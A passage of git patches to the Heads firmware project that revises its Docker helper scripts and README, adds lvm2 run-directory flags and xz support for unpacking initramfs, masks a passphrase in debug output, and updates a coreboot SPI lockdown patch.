"linuxboot/heads:dev-env" local docker image): - * `nix --print-build-logs --verbose build .#dockerImage && docker load < result` + * `./docker_local_dev.sh` On some hardened OSes, you may encounter problems with ptrace. ``` @@ -75,12 +75,16 @@ sudo sysctl -w kernel.yama.ptrace_scope=1 #setup the value to let nix+docker run Done! -Your local docker image "linuxboot/heads:dev-env" is ready to use, reproducible for the specific Heads commit used and will produce ROMs reproducible for that Heads commit ID. +Your local docker image "linuxboot/heads:dev-env" is ready to use, reproducible for the specific Heads commit used to build it, and will produce ROMs reproducible for that Heads commit ID. Jump into nix develop created docker image for interactive workflow ==== -`docker run -e DISPLAY=$DISPLAY --network host --rm -ti -v $(pwd):$(pwd) -w $(pwd) linuxboot/heads:dev-env` +There is 3 helpers: +- `./docker_local_dev.sh`: for developers wanting to customize docker image built from flake.nix(nix devenv creation) and flake.lock (pinned versions used by flake.nix) +- `./docker_latest.sh`: for Heads developers, wanting to use latest published docker images to develop Heads +- `./docker_repro.sh`: versioned docker image used under CircleCI to produce reproducivle builds, both locally and under CircleCI. **Use this one if in doubt** +ie: `./docker_repro.sh` will jump into CircleCI used versioned docker image for that Heads commit id to build images reproducibly if git repo is clean (not dirty). From there you can use the docker image interactively. @@ -92,22 +96,22 @@ Please refer to [qemu documentation](targets/qemu.md) for more information. Eg: ``` -make BOARD=qemu-coreboot-fbwhiptail-tpm2 # Build rom, export public key to emulated usb storage from qemu runtime -make BOARD=qemu-coreboot-fbwhiptail-tpm2 PUBKEY_ASC=~/pubkey.asc inject_gpg # Inject pubkey into rom image -make BOARD=qemu-coreboot-fbwhiptail-tpm2 USB_TOKEN=Nitrokey3NFC PUBKEY_ASC=~/pubkey.asc ROOT_DISK_IMG=~/qemu-disks/debian-9.cow2 INSTALL_IMG=~/Downloads/debian-9.13.0-amd64-xfce-CD-1.iso run # Install +./docker_repro.sh make BOARD=qemu-coreboot-fbwhiptail-tpm2 # Build rom, export public key to emulated usb storage from qemu runtime +./docker_repro.sh make BOARD=qemu-coreboot-fbwhiptail-tpm2 PUBKEY_ASC=~/pubkey.asc inject_gpg # Inject pubkey into rom image +./docker_repro.sh make BOARD=qemu-coreboot-fbwhiptail-tpm2 USB_TOKEN=Nitrokey3NFC PUBKEY_ASC=~/pubkey.asc ROOT_DISK_IMG=~/qemu-disks/debian-9.cow2 INSTALL_IMG=~/Downloads/debian-9.13.0-amd64-xfce-CD-1.iso run # Install ``` -Alternatively, you can use locally built docker image to build a board ROM image in a single call. +Alternatively, you can use locally built docker image to build a board ROM image in a single call **but do not expect reproducible builds if not using versioned docker images as per CircleCI as per usage of `./docker_repro.sh`** Eg: -`docker run -e DISPLAY=$DISPLAY --network host --rm -ti -v $(pwd):$(pwd) -w $(pwd) linuxboot/heads:dev-env -- make BOARD=nitropad-nv41` +`./docker_local_dev.sh make BOARD=nitropad-nv41` Pull docker hub image to prepare reproducible ROMs as CircleCI in one call ==== ``` -docker run -e DISPLAY=$DISPLAY --network host --rm -ti -v $(pwd):$(pwd) -w $(pwd) tlaurion/heads-dev-env:latest -- make BOARD=x230-hotp-maximized -docker run -e DISPLAY=$DISPLAY --network host --rm -ti -v $(pwd):$(pwd) -w $(pwd) tlaurion/heads-dev-env:latest -- make BOARD=nitropad-nv41 +./docker_repro.sh make BOARD=x230-hotp-maximized +./docker_repro.sh make BOARD=nitropad-nv41 ``` Maintenance notes on docker image From dd540366b5b0437c675db9613dd9f53203620c9f Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 21 Nov 2024 16:54:08 -0500 Subject: [PATCH 342/619] docker_* helpers: pass usb host controllers to docker only if usb devices are connected, unify, bugfixes Signed-off-by: Thierry Laurion --- docker_latest.sh | 47 ++++++++++++++---------- docker_local_dev.sh | 87 +++++++++++++++++++++++++-------------------- docker_repro.sh | 50 +++++++++++++++----------- 3 files changed, 105 insertions(+), 79 deletions(-) diff --git a/docker_latest.sh b/docker_latest.sh index e831b0584..f073e5a79 100755 --- a/docker_latest.sh +++ b/docker_latest.sh @@ -2,26 +2,27 @@ # Inform the user that the latest published Docker image is being used echo "Using the latest Docker image: tlaurion/heads-dev-env:latest" +DOCKER_IMAGE="tlaurion/heads-dev-env:latest" # Function to display usage information usage() { - echo "Usage: $0 [OPTIONS] -- [COMMAND]" - echo "Options:" - echo " CPUS=N Set the number of CPUs" - echo " V=1 Enable verbose mode" - echo "Command:" - echo " The command to run inside the Docker container, e.g., make BOARD=BOARD_NAME" + echo "Usage: $0 [OPTIONS] -- [COMMAND]" + echo "Options:" + echo " CPUS=N Set the number of CPUs" + echo " V=1 Enable verbose mode" + echo "Command:" + echo " The command to run inside the Docker container, e.g., make BOARD=BOARD_NAME" } # Function to kill GPG toolstack related processes using USB devices kill_usb_processes() { - echo "Killing any GPG toolstack related processes on host currently using USB devices..." - sudo lsof /dev/bus/usb/00*/0* 2>/dev/null | awk 'NR>1 {print $2}' | xargs -r ps -p | grep -E 'scdaemon|pcscd' | awk '{print $1}' | xargs -r sudo kill -9 - if [ $? -ne 0 ]; then - echo "Failed to kill GPG toolstack related processes using USB devices. Please run the following command manually:" - echo "sudo lsof /dev/bus/usb/00*/0* | awk 'NR>1 {print \$2}' | xargs -r ps -p | grep -E 'scdaemon|pcscd' | awk '{print \$1}' | xargs -r sudo kill -9" - exit 1 - fi + # check if scdaemon or pcscd processes are using USB devices + if [ -d /dev/bus/usb ]; then + if sudo lsof /dev/bus/usb/00*/0* 2>/dev/null | awk 'NR>1 {print $2}' | xargs -r ps -p | grep -E 'scdaemon|pcscd' >/dev/null; then + echo "Killing GPG toolstack related processes using USB devices..." + sudo lsof /dev/bus/usb/00*/0* 2>/dev/null | awk 'NR>1 {print $2}' | xargs -r ps -p | grep -E 'scdaemon|pcscd' | awk '{print $1}' | xargs -r sudo kill -9 + fi + fi } # Handle Ctrl-C (SIGINT) to exit gracefully @@ -29,10 +30,10 @@ trap "echo 'Script interrupted. Exiting...'; exit 1" SIGINT # Check if --help or -h is provided for arg in "$@"; do - if [[ "$arg" == "--help" || "$arg" == "-h" ]]; then - usage - exit 0 - fi + if [[ "$arg" == "--help" || "$arg" == "-h" ]]; then + usage + exit 0 + fi done # Kill processes using USB devices @@ -42,8 +43,16 @@ kill_usb_processes echo "----" echo "Usage reminder: The minimal command is 'make BOARD=XYZ', where additional options, including 'V=1' or 'CPUS=N' are optional." echo "For more advanced QEMU testing options, refer to targets/qemu.md and boards/qemu-*/*.config." +echo +echo "Type exit within docker image to get back to host if launched interactively!" echo "----" -echo "Entering the Docker container. Type 'exit' to return to the host shell." +echo # Execute the docker run command with the provided parameters -docker run --device=/dev/bus/usb:/dev/bus/usb -e DISPLAY=$DISPLAY --network host --rm -ti -v $(pwd):$(pwd) -w $(pwd) tlaurion/heads-dev-env:latest -- "$@" +if [ -d "/dev/bus/usb" ]; then + echo "--->Launching container with access to host's USB buses (some USB devices were connected to host)..." + docker run --device=/dev/bus/usb:/dev/bus/usb -e DISPLAY=$DISPLAY --network host --rm -ti -v $(pwd):$(pwd) -w $(pwd) $DOCKER_IMAGE -- "$@" +else + echo "--->Launching container without access to host's USB buses (no USB devices was connected to host)..." + docker run -e DISPLAY=$DISPLAY --network host --rm -ti -v $(pwd):$(pwd) -w $(pwd) $DOCKER_IMAGE -- "$@" +fi diff --git a/docker_local_dev.sh b/docker_local_dev.sh index dd543d151..43b8022bb 100755 --- a/docker_local_dev.sh +++ b/docker_local_dev.sh @@ -1,49 +1,51 @@ #!/bin/bash +#locally build docker name is linuxboot/heads:dev-env +DOCKER_IMAGE="linuxboot/heads:dev-env" + # Check if Nix is installed -if ! command -v nix &> /dev/null; then - echo "Nix is not installed or not in the PATH. Please install Nix before running this script." - echo "Refer to the README.md at the root of the repository for installation instructions." - exit 1 +if ! command -v nix &>/dev/null; then + echo "Nix is not installed or not in the PATH. Please install Nix before running this script." + echo "Refer to the README.md at the root of the repository for installation instructions." + exit 1 fi # Check if Docker is installed -if ! command -v docker &> /dev/null; then - echo "Docker is not installed or not in the PATH. Please install Docker before running this script." - echo "Refer to the README.md at the root of the repository for installation instructions." - exit 1 +if ! command -v docker &>/dev/null; then + echo "Docker is not installed or not in the PATH. Please install Docker before running this script." + echo "Refer to the README.md at the root of the repository for installation instructions." + exit 1 fi # Inform the user about the Docker image being used -echo "** This ./docker_local_dev.sh script is for developers usage only. **" +echo "!!! This ./docker_local_dev.sh script is for developers usage only. !!!" echo "" -echo "Using the last locally produced Docker image: linuxboot/heads:dev-env" -echo "Warning: Using anything other than the published Docker image might lead to non-reproducible builds." +echo "Using the last locally built Docker image when flake.nix/flake.lock was modified and repo was dirty: linuxboot/heads:dev-env" +echo "!!! Warning: Using anything other than the published Docker image might lead to non-reproducible builds. !!!" echo "" echo "For using the latest published Docker image, refer to ./docker_latest.sh." echo "For producing reproducible builds as CircleCI, refer to ./docker_repro.sh." echo "" -echo "---" # Function to display usage information usage() { - echo "Usage: $0 [OPTIONS] -- [COMMAND]" - echo "Options:" - echo " CPUS=N Set the number of CPUs" - echo " V=1 Enable verbose mode" - echo "Command:" - echo " The command to run inside the Docker container, e.g., make BOARD=BOARD_NAME" + echo "Usage: $0 [OPTIONS] -- [COMMAND]" + echo "Options:" + echo " CPUS=N Set the number of CPUs" + echo " V=1 Enable verbose mode" + echo "Command:" + echo " The command to run inside the Docker container, e.g., make BOARD=BOARD_NAME" } # Function to kill GPG toolstack related processes using USB devices kill_usb_processes() { - echo "Killing any GPG toolstack related processes on host currently using USB devices..." - sudo lsof /dev/bus/usb/00*/0* 2>/dev/null | awk 'NR>1 {print $2}' | xargs -r ps -p | grep -E 'scdaemon|pcscd' | awk '{print $1}' | xargs -r sudo kill -9 - if [ $? -ne 0 ]; then - echo "Failed to kill GPG toolstack related processes using USB devices. Please run the following command manually:" - echo "sudo lsof /dev/bus/usb/00*/0* | awk 'NR>1 {print \$2}' | xargs -r ps -p | grep -E 'scdaemon|pcscd' | awk '{print \$1}' | xargs -r sudo kill -9" - exit 1 - fi + # check if scdaemon or pcscd processes are using USB devices + if [ -d /dev/bus/usb ]; then + if sudo lsof /dev/bus/usb/00*/0* 2>/dev/null | awk 'NR>1 {print $2}' | xargs -r ps -p | grep -E 'scdaemon|pcscd' >/dev/null; then + echo "Killing GPG toolstack related processes using USB devices..." + sudo lsof /dev/bus/usb/00*/0* 2>/dev/null | awk 'NR>1 {print $2}' | xargs -r ps -p | grep -E 'scdaemon|pcscd' | awk '{print $1}' | xargs -r sudo kill -9 + fi + fi } # Handle Ctrl-C (SIGINT) to exit gracefully @@ -51,23 +53,22 @@ trap "echo 'Script interrupted. Exiting...'; exit 1" SIGINT # Check if --help or -h is provided for arg in "$@"; do - if [[ "$arg" == "--help" || "$arg" == "-h" ]]; then - usage - exit 0 - fi + if [[ "$arg" == "--help" || "$arg" == "-h" ]]; then + usage + exit 0 + fi done # Check if the git repository is dirty and if flake.nix or flake.lock are part of the uncommitted changes if [ -n "$(git status --porcelain | grep -E 'flake\.nix|flake\.lock')" ]; then - echo "Warning: Uncommitted changes detected in flake.nix or flake.lock. The Docker image will be rebuilt." - echo "If this was not intended, please commit your changes and rerun the script." - echo "Building the Docker image from flake.nix..." - nix --print-build-logs --verbose develop --ignore-environment --command true - nix --print-build-logs --verbose build .#dockerImage && docker load < result + echo "**Warning: Uncommitted changes detected in flake.nix or flake.lock. The Docker image will be rebuilt!**" + echo "If this was not intended, please CTRL-C now, commit your changes and rerun the script." + echo "Building the Docker image from flake.nix..." + nix --print-build-logs --verbose develop --ignore-environment --command true + nix --print-build-logs --verbose build .#dockerImage && docker load Launching container with access to host's USB buses (some USB devices were connected to host)..." + docker run --device=/dev/bus/usb:/dev/bus/usb -e DISPLAY=$DISPLAY --network host --rm -ti -v $(pwd):$(pwd) -w $(pwd) $DOCKER_IMAGE -- "$@" +else + echo "--->Launching container without access to host's USB buses (no USB devices was connected to host)..." + docker run -e DISPLAY=$DISPLAY --network host --rm -ti -v $(pwd):$(pwd) -w $(pwd) $DOCKER_IMAGE -- "$@" +fi diff --git a/docker_repro.sh b/docker_repro.sh index 173bef62c..0dbeb2f6b 100755 --- a/docker_repro.sh +++ b/docker_repro.sh @@ -5,8 +5,8 @@ DOCKER_IMAGE=$(grep -oP '^\s*-?\s*image:\s*\K(tlaurion/heads-dev-env:[^\s]+)' .c # Check if the Docker image was found if [ -z "$DOCKER_IMAGE" ]; then - echo "Error: Docker image not found in .circleci/config.yml" - exit 1 + echo "Error: Docker image not found in .circleci/config.yml" + exit 1 fi # Inform the user about the versioned CircleCI Docker image being used @@ -14,23 +14,23 @@ echo "Using CircleCI Docker image: $DOCKER_IMAGE" # Function to display usage information usage() { - echo "Usage: $0 [OPTIONS] -- [COMMAND]" - echo "Options:" - echo " CPUS=N Set the number of CPUs" - echo " V=1 Enable verbose mode" - echo "Command:" - echo " The command to run inside the Docker container, e.g., make BOARD=BOARD_NAME" + echo "Usage: $0 [OPTIONS] -- [COMMAND]" + echo "Options:" + echo " CPUS=N Set the number of CPUs" + echo " V=1 Enable verbose mode" + echo "Command:" + echo " The command to run inside the Docker container, e.g., make BOARD=BOARD_NAME" } # Function to kill GPG toolstack related processes using USB devices kill_usb_processes() { - echo "Killing any GPG toolstack related processes on host currently using USB devices..." - sudo lsof /dev/bus/usb/00*/0* 2>/dev/null | awk 'NR>1 {print $2}' | xargs -r ps -p | grep -E 'scdaemon|pcscd' | awk '{print $1}' | xargs -r sudo kill -9 - if [ $? -ne 0 ]; then - echo "Failed to kill GPG toolstack related processes using USB devices. Please run the following command manually:" - echo "sudo lsof /dev/bus/usb/00*/0* | awk 'NR>1 {print \$2}' | xargs -r ps -p | grep -E 'scdaemon|pcscd' | awk '{print \$1}' | xargs -r sudo kill -9" - exit 1 - fi + # check if scdaemon or pcscd processes are using USB devices + if [ -d /dev/bus/usb ]; then + if sudo lsof /dev/bus/usb/00*/0* 2>/dev/null | awk 'NR>1 {print $2}' | xargs -r ps -p | grep -E 'scdaemon|pcscd' >/dev/null; then + echo "Killing GPG toolstack related processes using USB devices..." + sudo lsof /dev/bus/usb/00*/0* 2>/dev/null | awk 'NR>1 {print $2}' | xargs -r ps -p | grep -E 'scdaemon|pcscd' | awk '{print $1}' | xargs -r sudo kill -9 + fi + fi } # Handle Ctrl-C (SIGINT) to exit gracefully @@ -38,10 +38,10 @@ trap "echo 'Script interrupted. Exiting...'; exit 1" SIGINT # Check if --help or -h is provided for arg in "$@"; do - if [[ "$arg" == "--help" || "$arg" == "-h" ]]; then - usage - exit 0 - fi + if [[ "$arg" == "--help" || "$arg" == "-h" ]]; then + usage + exit 0 + fi done # Kill processes using USB devices @@ -51,8 +51,16 @@ kill_usb_processes echo "----" echo "Usage reminder: The minimal command is 'make BOARD=XYZ', where additional options, including 'V=1' or 'CPUS=N' are optional." echo "For more advanced QEMU testing options, refer to targets/qemu.md and boards/qemu-*/*.config." +echo +echo "Type exit within docker image to get back to host if launched interactively!" echo "----" -echo "Entering the Docker container. Type 'exit' to return to the host shell." +echo # Execute the docker run command with the provided parameters -docker run --device=/dev/bus/usb:/dev/bus/usb -e DISPLAY=$DISPLAY --network host --rm -ti -v $(pwd):$(pwd) -w $(pwd) $DOCKER_IMAGE -- "$@" +if [ -d "/dev/bus/usb" ]; then + echo "--->Launching container with access to host's USB buses (some USB devices were connected to host)..." + docker run --device=/dev/bus/usb:/dev/bus/usb -e DISPLAY=$DISPLAY --network host --rm -ti -v $(pwd):$(pwd) -w $(pwd) $DOCKER_IMAGE -- "$@" +else + echo "--->Launching container without access to host's USB buses (no USB devices was connected to host)..." + docker run -e DISPLAY=$DISPLAY --network host --rm -ti -v $(pwd):$(pwd) -w $(pwd) $DOCKER_IMAGE -- "$@" +fi From 1a07bf7b68907554c851a6c037377e8c2193a49c Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 22 Nov 2024 09:41:32 -0500 Subject: [PATCH 343/619] modules/lvm2: define /run relative paths (not sure why circleci remote docker default run dir != local run dir) Signed-off-by: Thierry Laurion --- modules/lvm2 | 3 +++ 1 file changed, 3 insertions(+) diff --git a/modules/lvm2 b/modules/lvm2 index 6df76284e..0306d56dc 100644 --- a/modules/lvm2 +++ b/modules/lvm2 @@ -16,6 +16,9 @@ lvm2_configure := \ --host $(MUSL_ARCH)-elf-linux \ --prefix "" \ --libexecdir "/bin" \ + --with-default-pid-dir=/run \ + --with-default-dm-run-dir=/run \ + --with-default-run-dir=/run/lvm \ --with-optimisation=-Os \ --enable-devmapper \ --disable-selinux \ From 71a80751257f11a64e6035cf91fc6b23e6c31863 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 22 Nov 2024 16:40:40 -0500 Subject: [PATCH 344/619] initrd/bin/unpack_initramfs.sh: no functional change, just format with tabs Signed-off-by: Thierry Laurion --- initrd/bin/unpack_initramfs.sh | 131 +++++++++++++++++---------------- 1 file changed, 67 insertions(+), 64 deletions(-) diff --git a/initrd/bin/unpack_initramfs.sh b/initrd/bin/unpack_initramfs.sh index db176fd6e..12ce32b84 100755 --- a/initrd/bin/unpack_initramfs.sh +++ b/initrd/bin/unpack_initramfs.sh @@ -31,78 +31,81 @@ CPIO_ARGS=("$@") # Consume zero bytes, the first nonzero byte read (if any) is repeated on stdout consume_zeros() { - TRACE_FUNC - next_byte='00' - while [ "$next_byte" = "00" ]; do - # if we reach EOF, next_byte becomes empty (dd does not fail) - next_byte="$(dd bs=1 count=1 status=none | xxd -p | tr -d ' ')" - done - # if we finished due to nonzero byte (not EOF), then carry that byte - if [ -n "$next_byte" ]; then - echo -n "$next_byte" | xxd -p -r - fi + TRACE_FUNC + next_byte='00' + while [ "$next_byte" = "00" ]; do + # if we reach EOF, next_byte becomes empty (dd does not fail) + next_byte="$(dd bs=1 count=1 status=none | xxd -p | tr -d ' ')" + done + # if we finished due to nonzero byte (not EOF), then carry that byte + if [ -n "$next_byte" ]; then + echo -n "$next_byte" | xxd -p -r + fi } unpack_cpio() { - TRACE_FUNC - (cd "$dest_dir"; cpio -i "${CPIO_ARGS[@]}" 2>/dev/null) + TRACE_FUNC + ( + cd "$dest_dir" + cpio -i "${CPIO_ARGS[@]}" 2>/dev/null + ) } # unpack the first segment of an archive, then write the rest to another file unpack_first_segment() { - TRACE_FUNC - unpack_archive="$1" - dest_dir="$2" - rest_archive="$3" + TRACE_FUNC + unpack_archive="$1" + dest_dir="$2" + rest_archive="$3" - mkdir -p "$dest_dir" + mkdir -p "$dest_dir" - # peek the beginning of the file to determine what type of content is next - magic="$(dd if="$unpack_archive" bs=6 count=1 status=none | xxd -p)" + # peek the beginning of the file to determine what type of content is next + magic="$(dd if="$unpack_archive" bs=6 count=1 status=none | xxd -p)" - # read this segment of the archive, then write the rest to the next file - ( - # Magic values correspond to Linux init/initramfs.c (zero, cpio) and - # lib/decompress.c (gzip) - case "$magic" in - 00*) - DEBUG "archive segment $magic: uncompressed cpio" - # Skip zero bytes and copy the first nonzero byte - consume_zeros - # Copy the remaining data - cat - ;; - 303730373031*|303730373032*) # plain cpio - DEBUG "archive segment $magic: plain cpio" - # Unpack the plain cpio, this stops reading after the trailer - unpack_cpio - # Copy the remaining data - cat - ;; - 1f8b*|1f9e*) # gzip - DEBUG "archive segment $magic: gzip" - # gunzip won't stop when reaching the end of the gzipped member, - # so we can't read another segment after this. We can't - # reasonably determine the member length either, this requires - # walking all the compressed blocks. - gunzip | unpack_cpio - ;; - 28b5*) # zstd - DEBUG "archive segment $magic: zstd" - # Like gunzip, this will not stop when reaching the end of the - # frame, and determining the frame length requires walking all - # of its blocks. - (zstd-decompress -d || true) | unpack_cpio - ;; - *) # unknown - die "Can't decompress initramfs archive, unknown type: $magic" - ;; - esac - ) <"$unpack_archive" >"$rest_archive" + # read this segment of the archive, then write the rest to the next file + ( + # Magic values correspond to Linux init/initramfs.c (zero, cpio) and + # lib/decompress.c (gzip) + case "$magic" in + 00*) + DEBUG "archive segment $magic: uncompressed cpio" + # Skip zero bytes and copy the first nonzero byte + consume_zeros + # Copy the remaining data + cat + ;; + 303730373031* | 303730373032*) # plain cpio + DEBUG "archive segment $magic: plain cpio" + # Unpack the plain cpio, this stops reading after the trailer + unpack_cpio + # Copy the remaining data + cat + ;; + 1f8b* | 1f9e*) # gzip + DEBUG "archive segment $magic: gzip" + # gunzip won't stop when reaching the end of the gzipped member, + # so we can't read another segment after this. We can't + # reasonably determine the member length either, this requires + # walking all the compressed blocks. + gunzip | unpack_cpio + ;; + 28b5*) # zstd + DEBUG "archive segment $magic: zstd" + # Like gunzip, this will not stop when reaching the end of the + # frame, and determining the frame length requires walking all + # of its blocks. + (zstd-decompress -d || true) | unpack_cpio + ;; + *) # unknown + die "Can't decompress initramfs archive, unknown type: $magic" + ;; + esac + ) <"$unpack_archive" >"$rest_archive" - orig_size="$(stat -c %s "$unpack_archive")" - rest_size="$(stat -c %s "$rest_archive")" - DEBUG "archive segment $magic: $((orig_size - rest_size)) bytes" + orig_size="$(stat -c %s "$unpack_archive")" + rest_size="$(stat -c %s "$rest_archive")" + DEBUG "archive segment $magic: $((orig_size - rest_size)) bytes" } DEBUG "Unpacking $INITRAMFS_ARCHIVE to $DEST_DIR" @@ -112,7 +115,7 @@ rest_archive="/tmp/unpack_initramfs_rest" # Break when there is no remaining data while [ -s "$next_archive" ]; do - unpack_first_segment "$next_archive" "$DEST_DIR" "$rest_archive" - next_archive="/tmp/unpack_initramfs_next" - mv "$rest_archive" "$next_archive" + unpack_first_segment "$next_archive" "$DEST_DIR" "$rest_archive" + next_archive="/tmp/unpack_initramfs_next" + mv "$rest_archive" "$next_archive" done From 95c6eb5c498bebc028cd92d62c83e33c2be3ed2e Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 22 Nov 2024 16:43:12 -0500 Subject: [PATCH 345/619] initrd/bin/unpack_initramfs.sh: add xz to unpack logic (add commented: bzip2, lzma, lzo and lz4) xz: tested working with tails test build and 6.8.1's initrd latest ubuntu 24.10: switched back to zstd, works as expected (tested) Magic numbers referred at: - https://github.com/torvalds/linux/blob/28eb75e178d389d325f1666e422bc13bbbb9804c/scripts/extract-vmlinux#L52C1-L58C43 - https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/lib/decompress.c#n51 Signed-off-by: Thierry Laurion --- initrd/bin/unpack_initramfs.sh | 24 ++++++++++++++++++++++++ 1 file changed, 24 insertions(+) diff --git a/initrd/bin/unpack_initramfs.sh b/initrd/bin/unpack_initramfs.sh index 12ce32b84..772131188 100755 --- a/initrd/bin/unpack_initramfs.sh +++ b/initrd/bin/unpack_initramfs.sh @@ -90,6 +90,10 @@ unpack_first_segment() { # walking all the compressed blocks. gunzip | unpack_cpio ;; + fd37*) # xz + DEBUG "archive segment $magic: xz" + unxz | unpack_cpio + ;; 28b5*) # zstd DEBUG "archive segment $magic: zstd" # Like gunzip, this will not stop when reaching the end of the @@ -99,6 +103,26 @@ unpack_first_segment() { ;; *) # unknown die "Can't decompress initramfs archive, unknown type: $magic" + # The following are magic values for other compression formats + # but not added because not tested. + # TODO: open an issue for unsupported magic number reported on die. + # + #425a*) # bzip2 + # DEBUG "archive segment $magic: bzip2" + # bunzip2 | unpack_cpio + #;; + #5d00*) # lzma + # DEBUG "archive segment $magic: lzma" + # unlzma | unpack_cpio + #;; + #894c*) # lzo + # DEBUG "archive segment $magic: lzo" + # lzop -d | unpack_cpio + #;; + #0221*) # lz4 + # DEBUG "archive segment $magic: lz4" + # lz4 -d | unpack_cpio + # ;; ;; esac ) <"$unpack_archive" >"$rest_archive" From 5501cd0744b2274adbe1eda5cc354e9c09c0b05b Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 25 Nov 2024 10:56:32 -0500 Subject: [PATCH 346/619] oem-factory-reset: debug mode; hide passphrase output on screen/debug.log on gpg --detach-sign of /boot hash digest Before: [ 155.845101] DEBUG: gpg --pinentry-mode loopback --passphrase Please Change Me --digest-algo SHA256 --detach-sign -a After: [ 131.272954] DEBUG: gpg --pinentry-mode loopback --passphrase --digest-algo SHA256 --detach-sign -a Signed-off-by: Thierry Laurion --- initrd/bin/oem-factory-reset | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/initrd/bin/oem-factory-reset b/initrd/bin/oem-factory-reset index ca000e50d..8fa69ca99 100755 --- a/initrd/bin/oem-factory-reset +++ b/initrd/bin/oem-factory-reset @@ -680,7 +680,7 @@ generate_checksums() { fi DEBUG "Detach-signing boot files under kexec.sig: ${param_files}" - if sha256sum $param_files 2>/dev/null | DO_WITH_DEBUG gpg \ + if sha256sum $param_files 2>/dev/null | DO_WITH_DEBUG --mask-position 4 gpg \ --pinentry-mode loopback \ --passphrase "${USER_PIN}" \ --digest-algo SHA256 \ From f5fdf9a97e2d730fbaf888b33e730f51fdbdf4ed Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 28 Nov 2024 11:51:46 -0500 Subject: [PATCH 347/619] coreboot dasharo fork patch: bump patchset to upstream reviewed repro: git fetch https://review.coreboot.org/coreboot refs/changes/78/85278/3 && git format-patch -1 --stdout FETCH_HEAD > patches/coreboot-dasharo-unreleased/0002-pr0_chipset_locking-post_skylake.patch Signed-off-by: Thierry Laurion --- ...002-pr0_chipset_locking-post_skylake.patch | 248 ++++++++++++------ 1 file changed, 167 insertions(+), 81 deletions(-) diff --git a/patches/coreboot-dasharo-unreleased/0002-pr0_chipset_locking-post_skylake.patch b/patches/coreboot-dasharo-unreleased/0002-pr0_chipset_locking-post_skylake.patch index 768dfc16c..c8e4cd251 100644 --- a/patches/coreboot-dasharo-unreleased/0002-pr0_chipset_locking-post_skylake.patch +++ b/patches/coreboot-dasharo-unreleased/0002-pr0_chipset_locking-post_skylake.patch @@ -1,44 +1,63 @@ -From ff22122c229bbe2109de92ded773493428f7ece9 Mon Sep 17 00:00:00 2001 +From f9f309190246c66e92db5408c183dd8b617987f3 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Micha=C5=82=20=C5=BBygowski?= -Date: Sun, 20 Oct 2024 13:15:19 +0200 +Date: Sat, 23 Nov 2024 22:43:10 +0100 Subject: [PATCH] soc/intel/lockdown: Allow locking down SPI and LPC in SMM MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit -Heads payload uses APM_CNT_FINALIZE SMI to set and lock down -the SPI controller with PR0 flash protection. Add new option -to skip LPC and FAST SPI lock down in coreboot and move it -to APM_CNT_FINALIZE SMI handler. +Heads payload uses APM_CNT_FINALIZE SMI to set and lock down the SPI +controller with PR0 flash protection for pre-Skylake platforms. +Add new option to skip LPC and FAST SPI lock down in coreboot and move +it to APM_CNT_FINALIZE SMI handler. Reuse the INTEL_CHIPSET_LOCKDOWN +option to prevent issuing APM_CNT_FINALIZE SMI on normal boot path, +like it was done on pre-Skylake platforms. As the locking on modern +SOCs became more complicated, separate the SPI and LPC locking into +new modules to make linking to SMM easier. + +The expected configuration to leverage the feautre is to unselect +INTEL_CHIPSET_LOCKDOWN and select SOC_INTEL_COMMON_SPI_LOCKDOWN_SMM. + +Testing various microarchitectures happens on heads repository: +https://github.com/linuxboot/heads/pull/1818 + +TEST=Lock the SPI flash using APM_CNT_FINALIZE in heads on Alder Lake +(Protectli VP66xx) and Comet Lake (Protectli VP46xx) platforms. Check +if flash is unlocked in the heads recovery console. Check if flash is +locked in the kexec'ed OS. + +Change-Id: Icbcc6fcde90e5b0a999aacb720e2e3dc2748c838 Signed-off-by: Michał Żygowski --- - src/soc/intel/alderlake/finalize.c | 4 ++- - src/soc/intel/cannonlake/finalize.c | 3 +- - src/soc/intel/common/block/lpc/Makefile.inc | 4 +++ - src/soc/intel/common/block/smm/smihandler.c | 10 ++++++ + src/soc/intel/alderlake/finalize.c | 4 +- + src/soc/intel/cannonlake/finalize.c | 4 +- + src/soc/intel/common/block/lpc/Makefile.mk | 4 ++ + src/soc/intel/common/block/smm/smihandler.c | 10 ++++ .../common/pch/include/intelpch/lockdown.h | 3 ++ - src/soc/intel/common/pch/lockdown/Kconfig | 15 ++++++++ - .../intel/common/pch/lockdown/Makefile.inc | 5 +++ - src/soc/intel/common/pch/lockdown/lockdown.c | 33 +++++------------ - .../intel/common/pch/lockdown/lockdown_lpc.c | 23 ++++++++++++ - .../intel/common/pch/lockdown/lockdown_spi.c | 35 +++++++++++++++++++ + src/soc/intel/common/pch/lockdown/Kconfig | 15 ++++++ + src/soc/intel/common/pch/lockdown/Makefile.mk | 5 ++ + src/soc/intel/common/pch/lockdown/lockdown.c | 48 ++----------------- + .../intel/common/pch/lockdown/lockdown_lpc.c | 23 +++++++++ + .../intel/common/pch/lockdown/lockdown_spi.c | 32 +++++++++++++ src/soc/intel/denverton_ns/lpc.c | 3 +- - src/soc/intel/elkhartlake/finalize.c | 3 +- + src/soc/intel/elkhartlake/finalize.c | 4 +- src/soc/intel/jasperlake/finalize.c | 3 +- - src/soc/intel/meteorlake/finalize.c | 3 +- + src/soc/intel/meteorlake/finalize.c | 4 +- + src/soc/intel/pantherlake/finalize.c | 4 +- src/soc/intel/skylake/finalize.c | 3 +- - src/soc/intel/tigerlake/finalize.c | 3 +- + src/soc/intel/tigerlake/finalize.c | 4 +- src/soc/intel/xeon_sp/finalize.c | 3 +- - 17 files changed, 123 insertions(+), 33 deletions(-) + src/soc/intel/xeon_sp/lockdown.c | 18 ++----- + 19 files changed, 127 insertions(+), 67 deletions(-) create mode 100644 src/soc/intel/common/pch/lockdown/lockdown_lpc.c create mode 100644 src/soc/intel/common/pch/lockdown/lockdown_spi.c diff --git a/src/soc/intel/alderlake/finalize.c b/src/soc/intel/alderlake/finalize.c -index 460c8af174e..9cd9351d96a 100644 +index 700fde977b..615729d3dd 